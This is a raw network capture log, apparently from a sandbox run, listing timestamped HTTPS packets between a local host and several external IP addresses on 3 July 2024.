Jul 3, 2024 14:38:47.208208084 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.208300114 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.213073015 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.213116884 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.213174105 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.213186979 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.213226080 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.216084003 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.235841036 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.235886097 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.235914946 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.235929966 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.236001015 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.236368895 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.236445904 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.239372969 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.239420891 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.239424944 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.239432096 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.239444017 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.239464045 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.239473104 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.239509106 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.244647026 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.244740963 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.244781017 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.244788885 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.250264883 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.250325918 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.250333071 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.250551939 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.250593901 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.251424074 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.251440048 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.253824949 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.253885984 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.254216909 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.254265070 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.255801916 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.255856037 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.255867958 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.255903959 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.256642103 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.256711006 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.257494926 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.257548094 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.257555008 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.257591963 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.258060932 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.258110046 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.258939028 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.258970022 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.258980989 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.258989096 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.259012938 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.259032965 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.259800911 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.259850979 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.259855986 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.260623932 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.260665894 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.260673046 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.260720015 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.296886921 CEST	443	49754	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:47.296967030 CEST	443	49754	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:47.297018051 CEST	49754	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:47.298680067 CEST	49754	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:47.298707008 CEST	443	49754	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:47.313997984 CEST	49767	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:47.314038992 CEST	443	49767	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:47.314101934 CEST	49767	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:47.314295053 CEST	49767	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:47.314306021 CEST	443	49767	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:47.342318058 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.342391014 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.342413902 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.342427969 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.342451096 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.342490911 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.342823982 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.342839956 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.342845917 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.342879057 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.360249043 CEST	443	49758	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:47.360816956 CEST	443	49758	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:47.360846996 CEST	443	49762	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.360876083 CEST	49758	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:47.360908031 CEST	443	49762	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.360954046 CEST	49762	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.361598015 CEST	49758	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:47.361617088 CEST	443	49758	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:47.363325119 CEST	49762	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.363349915 CEST	443	49762	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.396619081 CEST	443	49761	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.396708965 CEST	443	49761	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.396758080 CEST	49761	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.400814056 CEST	49761	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.400835037 CEST	443	49761	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.420490026 CEST	49769	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:47.420533895 CEST	443	49769	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:47.420639992 CEST	49769	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:47.421700954 CEST	49769	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:47.421715021 CEST	443	49769	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:47.447861910 CEST	443	49763	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:47.452835083 CEST	49763	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:47.452841043 CEST	49770	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.452860117 CEST	443	49763	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:47.452872038 CEST	443	49770	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.453150034 CEST	49771	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.453205109 CEST	443	49771	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.453219891 CEST	49770	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.453296900 CEST	49771	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.453522921 CEST	49770	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.453536987 CEST	443	49770	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.453938007 CEST	443	49763	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:47.453969002 CEST	49771	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.453979969 CEST	443	49771	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.454004049 CEST	49763	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:47.454348087 CEST	49763	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:47.454405069 CEST	443	49763	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:47.454498053 CEST	49763	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:47.500500917 CEST	443	49763	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:47.501283884 CEST	49763	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:47.501296043 CEST	443	49763	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:47.513780117 CEST	443	49760	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.513839006 CEST	443	49760	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.513904095 CEST	443	49760	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.513935089 CEST	49760	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.513952017 CEST	443	49760	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.514062881 CEST	49760	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.514069080 CEST	443	49760	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.514957905 CEST	49760	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.518400908 CEST	49760	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.518414021 CEST	443	49760	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.527374029 CEST	443	49759	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.527422905 CEST	443	49759	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.527484894 CEST	49759	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.527494907 CEST	443	49759	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.527569056 CEST	443	49759	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.527755976 CEST	49759	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.527760983 CEST	443	49759	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.527836084 CEST	443	49759	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.530803919 CEST	49759	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.530811071 CEST	443	49759	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.530837059 CEST	49759	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.531141043 CEST	49759	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.546812057 CEST	49763	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:47.575834036 CEST	49774	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.575834036 CEST	49773	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.575900078 CEST	443	49774	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.575922966 CEST	443	49773	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.575988054 CEST	49774	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.575988054 CEST	49773	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.576383114 CEST	49774	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.576383114 CEST	49773	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.576399088 CEST	443	49774	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.576411009 CEST	443	49773	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.576864958 CEST	49775	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.576905966 CEST	443	49775	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.577017069 CEST	49775	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.577209949 CEST	49775	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.577224016 CEST	443	49775	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.582811117 CEST	49776	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.582849979 CEST	443	49776	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.583926916 CEST	49778	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.583950043 CEST	443	49778	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.583973885 CEST	49776	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.584022999 CEST	49778	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.584347963 CEST	49778	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.584359884 CEST	443	49778	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.584960938 CEST	49776	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.584979057 CEST	443	49776	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.897202015 CEST	443	49763	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:47.897829056 CEST	443	49763	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:47.898109913 CEST	49763	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:47.898682117 CEST	49763	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:47.898701906 CEST	443	49763	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:47.941329956 CEST	443	49767	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:47.942806005 CEST	49767	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:47.942819118 CEST	443	49767	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:47.943671942 CEST	443	49767	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:47.946207047 CEST	49767	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:48.021022081 CEST	49767	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:48.021022081 CEST	49767	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:48.021044016 CEST	443	49767	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:48.021186113 CEST	443	49767	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:48.070807934 CEST	49767	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:48.070831060 CEST	443	49767	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:48.072264910 CEST	443	49769	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:48.081896067 CEST	443	49770	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.107110977 CEST	443	49771	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.115227938 CEST	49767	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:48.115263939 CEST	49769	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:48.123050928 CEST	49769	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:48.123060942 CEST	443	49769	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:48.123328924 CEST	49770	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.123341084 CEST	49771	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.123348951 CEST	443	49770	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.123370886 CEST	443	49771	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.124228001 CEST	443	49769	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:48.124476910 CEST	443	49771	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.124505043 CEST	49769	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:48.124571085 CEST	443	49770	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.124603033 CEST	49771	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.126055956 CEST	49770	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.126055956 CEST	49770	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.126142979 CEST	443	49770	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.126591921 CEST	49771	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.126607895 CEST	49769	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:48.126656055 CEST	443	49771	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.126682043 CEST	443	49769	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:48.126786947 CEST	49771	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.126786947 CEST	49770	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.126794100 CEST	443	49771	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.126800060 CEST	443	49770	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.128360033 CEST	49769	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:48.128365993 CEST	443	49769	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:48.165232897 CEST	443	49775	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:48.177762985 CEST	49770	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.177766085 CEST	49771	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.177768946 CEST	49769	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:48.210804939 CEST	49775	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:48.219348907 CEST	443	49776	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.223086119 CEST	443	49773	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.224411011 CEST	443	49767	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:48.225111961 CEST	443	49767	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:48.225641012 CEST	443	49774	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.225739002 CEST	49767	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:48.237525940 CEST	443	49778	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.266789913 CEST	49773	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.266792059 CEST	49775	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:48.266808987 CEST	443	49773	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.266819000 CEST	443	49775	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:48.266998053 CEST	49776	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.267024040 CEST	443	49776	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.267343998 CEST	443	49775	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:48.267350912 CEST	443	49773	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.267373085 CEST	49774	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.267384052 CEST	443	49774	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.267848969 CEST	443	49774	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.268172026 CEST	443	49776	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.268184900 CEST	443	49776	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.268213034 CEST	49778	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.268237114 CEST	443	49778	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.268265963 CEST	49776	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.268795967 CEST	49775	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:48.268796921 CEST	49773	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.268874884 CEST	443	49773	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.268874884 CEST	443	49775	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:48.268899918 CEST	49767	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:48.268918991 CEST	443	49767	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:48.269380093 CEST	443	49778	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.269785881 CEST	49774	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.269788027 CEST	49778	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.269853115 CEST	443	49774	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.270535946 CEST	49776	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.270598888 CEST	443	49776	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.270781994 CEST	49778	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.270847082 CEST	443	49778	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.270957947 CEST	49773	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.270957947 CEST	49775	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:48.271296978 CEST	49774	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.271440983 CEST	49776	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.271451950 CEST	443	49776	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.272075891 CEST	49778	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.272085905 CEST	443	49778	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.316500902 CEST	443	49774	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.316505909 CEST	443	49775	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:48.316518068 CEST	443	49773	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.317996979 CEST	49776	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.318805933 CEST	49778	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.353419065 CEST	443	49770	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.353503942 CEST	443	49770	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.353770018 CEST	49770	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.354811907 CEST	49770	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.354834080 CEST	443	49770	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.358087063 CEST	443	49769	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:48.358181953 CEST	443	49769	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:48.358335018 CEST	49769	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:48.359234095 CEST	49769	443	192.168.2.5	216.58.212.164
Jul 3, 2024 14:38:48.359255075 CEST	443	49769	216.58.212.164	192.168.2.5
Jul 3, 2024 14:38:48.379313946 CEST	443	49775	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:48.379439116 CEST	443	49775	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:48.379808903 CEST	49775	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:48.382807016 CEST	49775	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:48.382829905 CEST	443	49775	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:48.386092901 CEST	49780	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:48.386131048 CEST	443	49780	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:48.386703968 CEST	443	49771	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.386758089 CEST	443	49771	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.386837959 CEST	49780	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:48.386840105 CEST	49771	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.387176991 CEST	49780	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:48.387187958 CEST	443	49780	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:48.387723923 CEST	49771	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.387737989 CEST	443	49771	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.498137951 CEST	443	49773	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.498223066 CEST	443	49773	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.498275995 CEST	49773	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.500530005 CEST	49773	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.500547886 CEST	443	49773	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.502079964 CEST	49781	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.502121925 CEST	443	49781	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.502182961 CEST	49781	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.502612114 CEST	49781	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.502624989 CEST	443	49781	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.601025105 CEST	443	49776	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.601144075 CEST	443	49776	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.601182938 CEST	49776	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.601207018 CEST	443	49776	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.601229906 CEST	443	49776	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.601262093 CEST	49776	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.601268053 CEST	443	49776	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.601320982 CEST	443	49776	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.601356030 CEST	49776	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.603235960 CEST	49776	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.603250980 CEST	443	49776	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.611042023 CEST	443	49774	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.611146927 CEST	443	49774	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.611187935 CEST	49774	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.611212015 CEST	443	49774	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.611455917 CEST	443	49774	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.611495018 CEST	49774	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.611509085 CEST	443	49774	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.611577988 CEST	443	49774	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.611624956 CEST	49774	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.612695932 CEST	49774	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.612704992 CEST	443	49774	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.618025064 CEST	443	49778	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.618175030 CEST	443	49778	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.618228912 CEST	49778	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:48.618251085 CEST	443	49778	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:48.618294954 CEST	443	49778	157.240.0.35	192.168.2.5
